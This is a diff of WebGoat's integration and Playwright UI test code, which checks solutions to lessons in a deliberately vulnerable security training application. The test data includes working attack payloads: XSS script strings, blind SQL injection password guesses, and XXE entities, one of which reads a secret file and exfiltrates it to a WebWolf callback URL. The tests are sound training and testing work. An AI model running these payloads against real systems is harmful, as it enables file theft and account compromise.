.get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
.get(webGoatUrlConfig.url("SqlInjectionMitigations/servers?column=unknown"))
.then()
.statusCode(500)
.body(
@ -78,8 +81,8 @@ public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
params.clear();
params.put("ip", "104.130.219.202");
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack12a"), params, true);
checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack12a"), params, true);
checkResults();
checkResults("SqlInjectionMitigations");
}
}

View File

@ -1,9 +1,12 @@
package org.owasp.webgoat;
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.Assertions.assertTrue;
import io.restassured.RestAssured;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
@ -11,21 +14,20 @@ import org.junit.jupiter.api.Test;
public class WebWolfIntegrationTest extends IntegrationTest {
@Test
public void runTests() throws IOException {
public void runTests() {
startLesson("WebWolfIntroduction");
// Assignment 3
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("email", this.getUser() + "@webgoat.org");
checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
checkAssignment(webGoatUrlConfig.url("WebWolf/mail/send"), params, false);
String responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/mail"))
.get(webWolfUrlConfig.url("mail"))
.then()
.extract()
.response()
@ -39,15 +41,15 @@ public class WebWolfIntegrationTest extends IntegrationTest {
uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
params.clear();
params.put("uniqueCode", uniqueCode);
checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
checkAssignment(webGoatUrlConfig.url("WebWolf/mail"), params, true);
// Assignment 4
RestAssured.given()
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.queryParams(params)
.get(url("/WebGoat/WebWolf/landing/password-reset"))
.get(webGoatUrlConfig.url("WebWolf/landing/password-reset"))
.then()
.statusCode(200);
RestAssured.given()
@ -55,7 +57,7 @@ public class WebWolfIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.queryParams(params)
.get(webWolfUrl("/landing"))
.get(webWolfUrlConfig.url("landing"))
.then()
.statusCode(200);
responseBody =
@ -63,7 +65,7 @@ public class WebWolfIntegrationTest extends IntegrationTest {
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests"))
.get(webWolfUrlConfig.url("requests"))
.then()
.extract()
.response()
@ -72,8 +74,8 @@ public class WebWolfIntegrationTest extends IntegrationTest {
assertTrue(responseBody.contains(uniqueCode));
params.clear();
params.put("uniqueCode", uniqueCode);
checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
checkAssignment(webGoatUrlConfig.url("WebWolf/landing"), params, true);
checkResults("/WebWolf");
checkResults("WebWolfIntroduction");
}
}

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat;
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import java.util.HashMap;
@ -14,7 +18,7 @@ public class XSSIntegrationTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("checkboxAttack1", "value");
checkAssignment(url("/CrossSiteScripting/attack1"), params, true);
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack1"), params, true);
params.clear();
params.put("QTY1", "1");
@ -23,17 +27,17 @@ public class XSSIntegrationTest extends IntegrationTest {
params.put("QTY4", "1");
params.put("field1", "<script>alert('XSS+Test')</script>");
params.put("field2", "111");
checkAssignmentWithGet(url("/CrossSiteScripting/attack5a"), params, true);
checkAssignmentWithGet(webGoatUrlConfig.url("CrossSiteScripting/attack5a"), params, true);
params.clear();
params.put("DOMTestRoute", "start.mvc#test");
checkAssignment(url("/CrossSiteScripting/attack6a"), params, true);
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack6a"), params, true);
params.clear();
params.put("param1", "42");
params.put("param2", "24");
String result =
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
@ -41,7 +45,7 @@ public class XSSIntegrationTest extends IntegrationTest {
.header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest")
.formParams(params)
.post(url("/CrossSiteScripting/phone-home-xss"))
.post(webGoatUrlConfig.url("CrossSiteScripting/phone-home-xss"))
.then()
.statusCode(200)
.extract()
@ -50,7 +54,7 @@ public class XSSIntegrationTest extends IntegrationTest {
params.clear();
params.put("successMessage", secretNumber);
checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/dom-follow-up"), params, true);
params.clear();
params.put(
@ -73,8 +77,44 @@ public class XSSIntegrationTest extends IntegrationTest {
"question_4_solution",
"Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
+ " the browser executes.");
checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/quiz"), params, true);
checkResults("/CrossSiteScripting/");
params.clear();
params.put(
"editor",
"<%@ taglib uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\" %>"
+ "<html>"
+ "<head>"
+ "<title>Using GET and POST Method to Read Form Data</title>"
+ "</head>"
+ "<body>"
+ "<h1>Using POST Method to Read Form Data</h1>"
+ "<table>"
+ "<tbody>"
+ "<tr>"
+ "<td><b>First Name:</b></td>"
+ "<td>${e:forHtml(param.first_name)}</td>"
+ "</tr>"
+ "<tr>"
+ "<td><b>Last Name:</b></td>"
+ "<td>${e:forHtml(param.last_name)}</td>"
+ "</tr>"
+ "</tbody>"
+ "</table>"
+ "</body>"
+ "</html>");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack3"), params, true);
params.clear();
params.put(
"editor2",
"Policy.getInstance(\"antisamy-slashdot.xml\");"
+ "Sammy s = new AntiSamy();"
+ "s.scan(newComment,\"\");"
+ "CleanResults();"
+ "MyCommentDAO.addComment(threadID, userID).getCleanHTML());");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack4"), params, true);
checkResults("CrossSiteScripting");
}
}

View File

@ -0,0 +1,121 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.io.IOException;
import org.junit.jupiter.api.Test;
public class XXEIntegrationTest extends IntegrationTest {
private static final String xxe3 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String xxe4 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String dtd7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
""";
private static final String xxe7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
""";
private String webGoatHomeDirectory;
// TODO fix me
// /*
// * This test is to verify that all is secure when XXE security patch is applied.
// */
// @Test
// public void xxeSecure() throws IOException {
// startLesson("XXE");
// webGoatHomeDirectory = webGoatServerDirectory();
// RestAssured.given()
// .when()
// .relaxedHTTPSValidation()
// .cookie("JSESSIONID", getWebGoatCookie())
// .get(url("service/enable-security.mvc"))
// .then()
// .statusCode(200);
// checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, false);
// checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, false);
// checkAssignment(
// url("xxe/blind"),
// ContentType.XML,
// "<comment><text>" + getSecret() + "</text></comment>",
// false);
// }
/**
* This performs the steps of the exercise before the secret can be committed in the final step.
*
* @return
*/
private String getSecret() {
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
String webWolfCallback = webWolfUrlConfig.url("landing");
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfCallback).replace("SECRET", secretFile);
// upload DTD
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrlConfig.url("fileupload"))
.then()
.extract()
.response()
.getBody()
.asString();
// upload attack
String xxe7String =
xxe7.replace("WEBWOLFURL", webWolfUrlConfig.url("files"))
.replace("USERNAME", this.getUser());
checkAssignment(webGoatUrlConfig.url("xxe/blind"), ContentType.XML, xxe7String, false);
// read results from WebWolf
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("requests"))
.then()
.extract()
.response()
.getBody()
.asString();
result = result.replace("%20", " ");
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
result =
result.substring(
result.lastIndexOf("WebGoat 8.0 rocks... ("),
result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
}
return result;
}
@Test
public void runTests() throws IOException {
startLesson("XXE", true);
webGoatHomeDirectory = webGoatServerDirectory();
checkAssignment(webGoatUrlConfig.url("xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(webGoatUrlConfig.url("xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(
webGoatUrlConfig.url("xxe/blind"),
ContentType.XML,
"<comment><text>" + getSecret() + "</text></comment>",
true);
checkResults("XXE");
}
}

View File

@ -0,0 +1,31 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
class LoginUITest extends PlaywrightTest {
@Test
void loginLogout(Browser browser) {
var page = Authentication.tweety(browser);
var loginPage = new WebGoatLoginPage(page);
loginPage.open();
loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
// logout
page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("")).click();
page.getByRole(AriaRole.MENUITEM, new Page.GetByRoleOptions().setName("Logout")).click();
assertThat(loginPage.getSignInButton()).isVisible();
}
}

View File

@ -0,0 +1,42 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.junit.Options;
import com.microsoft.playwright.junit.OptionsFactory;
import com.microsoft.playwright.junit.UsePlaywright;
import org.owasp.webgoat.ServerUrlConfig;
@UsePlaywright(PlaywrightTest.WebGoatOptions.class)
public class PlaywrightTest {
private static final ServerUrlConfig webGoatUrlConfig = ServerUrlConfig.webGoat();
private static final ServerUrlConfig webWolfUrlConfig = ServerUrlConfig.webWolf();
public static class WebGoatOptions implements OptionsFactory {
@Override
public Options getOptions() {
return new Options()
.setHeadless(true)
.setContextOptions(getContextOptions());
}
}
protected static Browser.NewContextOptions getContextOptions() {
return new Browser.NewContextOptions()
.setLocale("en-US")
.setBaseURL(webGoatUrlConfig.getBaseUrl());
}
public static String webGoatUrl(String path) {
return webGoatUrlConfig.url(path);
}
public static String webWolfURL(String path) {
return webWolfUrlConfig.url(path);
}
}

View File

@ -0,0 +1,48 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat;
import static org.assertj.core.api.Assertions.assertThat;
import com.microsoft.playwright.Browser;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.RegistrationPage;
import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
public class RegistrationUITest extends PlaywrightTest {
@Test
@DisplayName("Should register a new user while logged in as other user")
void registerWhileLoggedIn(Browser browser) {
var page = Authentication.tweety(browser);
var loginPage = new WebGoatLoginPage(page);
loginPage.open();
loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
var newUsername = "newuser" + System.currentTimeMillis();
var password = "password123";
var registrationPage = new RegistrationPage(page);
registrationPage.open();
registrationPage.register(newUsername, password);
assertThat(page.content()).contains(newUsername);
}
@Test
@DisplayName("Should register a new user")
void registerNewUser(Browser browser) {
var page = browser.newContext(new Browser.NewContextOptions().setLocale("en-US")).newPage();
var registrationPage = new RegistrationPage(page);
registrationPage.open();
var newUsername = "newuser" + System.currentTimeMillis();
var password = "password123";
registrationPage.register(newUsername, password);
assertThat(page.content()).contains(newUsername);
}
}

View File

@ -0,0 +1,65 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.helpers;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.Page;
import lombok.Getter;
import org.owasp.webgoat.playwright.webgoat.pages.RegistrationPage;
import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
import org.owasp.webgoat.playwright.webwolf.pages.WebWolfLoginPage;
/**
* Helper class to authenticate users in WebGoat and WebWolf.
*
* <p>It provides two users: sylvester and tweety. The users are authenticated by logging in to
* WebGoat and WebWolf. Once authenticated, the user's authentication token is stored in the browser
* and reused for subsequent requests.
*/
public class Authentication {
public record User(String name, String password, String auth) {
boolean loggedIn() {
return auth != null;
}
}
@Getter private static User sylvester = new User("sylvester", "sylvester", null);
@Getter private static User tweety = new User("tweety", "tweety", null);
public static Page sylvester(Browser browser) {
User user = login(browser, sylvester);
return browser.newContext(new Browser.NewContextOptions().setLocale("en-US").setStorageState(user.auth)).newPage();
}
public static Page tweety(Browser browser) {
User user = login(browser, tweety);
return browser.newContext(new Browser.NewContextOptions().setLocale("en-US").setStorageState(user.auth)).newPage();
}
private static User login(Browser browser, User user) {
if (user.loggedIn()) {
return user;
}
var page = browser.newContext(new Browser.NewContextOptions().setLocale("en-US")).newPage();
RegistrationPage registrationPage = new RegistrationPage(page);
registrationPage.open();
registrationPage.register(user.name, user.password);
WebGoatLoginPage loginPage = new WebGoatLoginPage(page);
loginPage.open();
loginPage.login(user.name, user.password);
assertThat(loginPage.getSignInButton()).not().isVisible();
WebWolfLoginPage webWolfLoginPage = new WebWolfLoginPage(page);
webWolfLoginPage.open();
webWolfLoginPage.login(user.name, user.password);
assertThat(loginPage.getSignInButton()).not().isVisible();
return new User(user.name, user.password, page.context().storageState());
}
}

View File

@ -0,0 +1,84 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.lessons;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.*;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.MethodOrderer;
import org.junit.jupiter.api.Order;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.TestMethodOrder;
import org.owasp.webgoat.container.lessons.LessonName;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.lessons.HttpBasicsLessonPage;
@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
public class HttpBasicsLessonUITest extends PlaywrightTest {
private HttpBasicsLessonPage lessonPage;
@BeforeEach
void navigateToLesson(Browser browser) {
var lessonName = new LessonName("HttpBasics");
var page = Authentication.sylvester(browser);
this.lessonPage = new HttpBasicsLessonPage(page);
lessonPage.resetLesson(lessonName);
lessonPage.open(lessonName);
}
@Test
@Order(1)
void shouldShowDefaultPage() {
assertThat(lessonPage.getTitle()).hasText("HTTP Basics");
Assertions.assertThat(lessonPage.noAssignmentsCompleted()).isTrue();
Assertions.assertThat(lessonPage.numberOfAssignments()).isEqualTo(2);
}
@Test
@Order(2)
@DisplayName(
"When the user enters their name, the server should reverse it then the assignment should be"
+ " solved")
void solvePage2() {
lessonPage.navigateTo(2);
lessonPage.getEnterYourName().fill("John Doe");
lessonPage.getGoButton().click();
assertThat(lessonPage.getAssignmentOutput())
.containsText("The server has reversed your name: eoD nhoJ");
Assertions.assertThat(lessonPage.isAssignmentSolved(2)).isTrue();
}
@Test
@Order(3)
@DisplayName("When the user enters nothing then the server should display an error message")
void invalidPage2() {
lessonPage.navigateTo(2);
lessonPage.getEnterYourName().fill("");
lessonPage.getGoButton().click();
assertThat(lessonPage.getAssignmentOutput()).containsText("Try again, name cannot be empty.");
}
@Test
@Order(4)
@DisplayName(
"Given Sylvester solves the first assignment when Tweety logs in then the first assignment should NOT be solved")
void shouldNotSolvePage1(Browser browser) {
lessonPage.navigateTo(2);
lessonPage.getEnterYourName().fill("John Doe");
lessonPage.getGoButton().click();
var tweetyLessonPage = new HttpBasicsLessonPage(Authentication.tweety(browser));
tweetyLessonPage.open(new LessonName("HttpBasics"));
Assertions.assertThat(tweetyLessonPage.noAssignmentsCompleted()).isTrue();
}
}

View File

@ -0,0 +1,120 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.lessons;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.Page.GetByRoleOptions;
import com.microsoft.playwright.options.AriaRole;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.container.lessons.LessonName;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.lessons.LessonPage;
public class SqlInjectionAdvancedUITest extends PlaywrightTest {
private LessonPage lessonPage;
@BeforeEach
void navigateToLesson(Browser browser) {
var lessonName = new LessonName("SqlInjectionAdvanced");
var page = Authentication.sylvester(browser);
this.lessonPage = new LessonPage(page);
lessonPage.resetLesson(lessonName);
lessonPage.open(lessonName);
}
@Test
@DisplayName("Login as Tom with incorrect password")
void loginAsTomWithIncorrectPassword() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Login")).click();
page.locator("[name='username_login']").fill("tom");
page.locator("[name='password_login']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Log In")).click();
assertThat(lessonPage.getAssignmentOutput())
.containsText("Wrong username or password. Try again.");
}
@Test
@DisplayName("Login as Tom with correct password")
void loginAsTomWithCorrectPassword() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Login")).click();
page.locator("[name='username_login']").fill("tom");
page.locator("[name='password_login']").fill("thisisasecretfortomonly");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Log In")).click();
lessonPage.isAssignmentSolved(5);
}
@Test
@DisplayName("Register as Tom should show error that Tom already exists")
void registerAsTomShouldDisplayError() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Register")).click();
page.locator("[name='username_reg']").fill("tom");
page.locator("[name='email_reg']").fill("tom@tom.org");
page.locator("[name='password_reg']").fill("test");
page.locator("[name='confirm_password_reg']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Register Now")).click();
assertThat(lessonPage.getAssignmentOutput()).containsText("User tom already exists");
}
@Test
@DisplayName(
"Using SQL Injection to register as Tom to guess the password and the guess is correct")
void startGuessingCorrect() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Register")).click();
page.locator("[name='username_reg']").fill("tom' AND substring(password,1,1)='t");
page.locator("[name='email_reg']").fill("tom@tom.org");
page.locator("[name='password_reg']").fill("test");
page.locator("[name='confirm_password_reg']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Register Now")).click();
assertThat(lessonPage.getAssignmentOutput())
.containsText("User tom' AND substring(password,1,1)='t already exists");
}
@Test
@DisplayName(
"Using SQL Injection to register as Tom to guess the password and the guess is incorrect")
void startGuessingIncorrect() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Register")).click();
page.locator("[name='username_reg']").fill("tom' AND substring(password,1,1)='a");
page.locator("[name='email_reg']").fill("tom@tom.org");
page.locator("[name='password_reg']").fill("test");
page.locator("[name='confirm_password_reg']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Register Now")).click();
assertThat(lessonPage.getAssignmentOutput())
.containsText(
"User tom' AND substring(password,1,1)='a created, please proceed to the login page.");
}
@Test
@DisplayName("Should display correct hints")
void shouldDisplayCorrectHints() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Show hints")).click();
assertThat(lessonPage.getAssignmentOutput()).containsText("Look at the different");
}
}

View File

@ -0,0 +1,36 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages;
import static com.microsoft.playwright.options.AriaRole.BUTTON;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
public class RegistrationPage {
private final Page page;
@Getter private final Locator signUpButton;
public RegistrationPage(Page page) {
this.page = page;
this.signUpButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign up"));
}
public void open() {
page.navigate(webGoatUrl("registration"));
}
public void register(String username, String password) {
page.getByPlaceholder("Username").fill(username);
page.getByLabel("Password", new Page.GetByLabelOptions().setExact(true)).fill(password);
page.getByLabel("Confirm password").fill(password);
page.getByLabel("Agree with the terms and").check();
page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Sign up")).click();
}
}

View File

@ -0,0 +1,33 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages;
import static com.microsoft.playwright.options.AriaRole.BUTTON;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import lombok.Getter;
public class WebGoatLoginPage {
private final Page page;
@Getter private final Locator signInButton;
public WebGoatLoginPage(Page page) {
this.page = page;
this.signInButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign in"));
}
public void open() {
page.navigate(webGoatUrl("login"));
}
public void login(String username, String password) {
page.getByPlaceholder("Username").fill(username);
page.getByPlaceholder("Password").fill(password);
page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign in")).click();
}
}

View File

@ -0,0 +1,28 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages.lessons;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
@Getter
public class HttpBasicsLessonPage extends LessonPage {
private final Locator enterYourName;
private final Locator goButton;
public HttpBasicsLessonPage(Page page) {
super(page);
enterYourName = page.locator("input[name=\"person\"]");
goButton = page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Go!"));
}
public Locator getTitle() {
return getPage()
.getByRole(AriaRole.HEADING, new Page.GetByRoleOptions().setName("HTTP Basics"));
}
}

View File

@ -0,0 +1,72 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages.lessons;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
import org.assertj.core.api.Assertions;
import org.owasp.webgoat.container.lessons.LessonName;
@Getter
public class LessonPage {
private final Page page;
public LessonPage(Page page) {
this.page = page;
}
public void navigateTo(int pageNumber) {
page.getByRole(AriaRole.LINK, new Page.GetByRoleOptions().setName("" + pageNumber)).click();
}
public void open(LessonName lessonName) {
page.navigate(webGoatUrl("start.mvc#lesson/%s".formatted(lessonName.lessonName())));
}
/**
* Force a reload for the UI to response, this is normally done by a JavaScript reloading every 5
* seconds
*/
public void refreshPage() {
page.reload();
}
public void resetLesson(LessonName lessonName) {
Assertions.assertThat(
page.request()
.get(webGoatUrl("service/restartlesson.mvc/%s".formatted(lessonName)))
.ok())
.isTrue();
refreshPage();
}
public int numberOfAssignments() {
return page.locator(".attack-link.solved-false").count()
+ page.locator(".attack-link.solved-true").count();
}
public boolean isAssignmentSolved(int pageNumber) {
var solvedAssignments = page.locator(".attack-link.solved-true");
solvedAssignments.waitFor();
return solvedAssignments.all().stream().anyMatch(l -> l.textContent().equals("" + pageNumber));
}
public boolean noAssignmentsCompleted() {
return page.locator(".attack-link.solved-true").count() == 0;
}
public Locator getAssignmentOutput() {
return page.locator("#lesson-content-wrapper");
}
public Locator getHintsOutput() {
return page.locator("#lesson-hint");
}
}

View File

@ -0,0 +1,36 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webwolf;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
class JwtUITest extends PlaywrightTest {
@Test
void shouldDecodeJwt(Browser browser) {
var page = Authentication.sylvester(browser);
var secretKey = "test";
var jwt =
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c";
page.navigate(webWolfURL("jwt"));
page.getByPlaceholder("Enter your secret key").fill(secretKey);
page.getByPlaceholder("Paste token here").type(jwt);
assertThat(page.locator("#header"))
.hasValue("{\n \"alg\" : \"HS256\",\n \"typ\" : \"JWT\"\n}");
assertThat(page.locator("#payload"))
.hasValue(
"{\n"
+ " \"iat\" : 1516239022,\n"
+ " \"name\" : \"John Doe\",\n"
+ " \"sub\" : \"1234567890\"\n"
+ "}");
}
}

View File

@ -0,0 +1,31 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webwolf;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webwolf.pages.WebWolfLoginPage;
public class LoginUITest extends PlaywrightTest {
@Test
void login(Browser browser) {
var page = Authentication.tweety(browser);
var loginPage = new WebWolfLoginPage(page);
loginPage.open();
loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
assertThat(loginPage.getSignInButton()).not().isVisible();
// logout
loginPage.logout();
assertThat(loginPage.getSignInButton()).isVisible();
}
}

View File

@ -0,0 +1,41 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webwolf.pages;
import static com.microsoft.playwright.options.AriaRole.BUTTON;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webWolfURL;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
public class WebWolfLoginPage {
private final Page page;
@Getter private final Locator signInButton;
private final Locator signOutButton;
public WebWolfLoginPage(Page page) {
this.page = page;
this.signInButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign In"));
this.signOutButton =
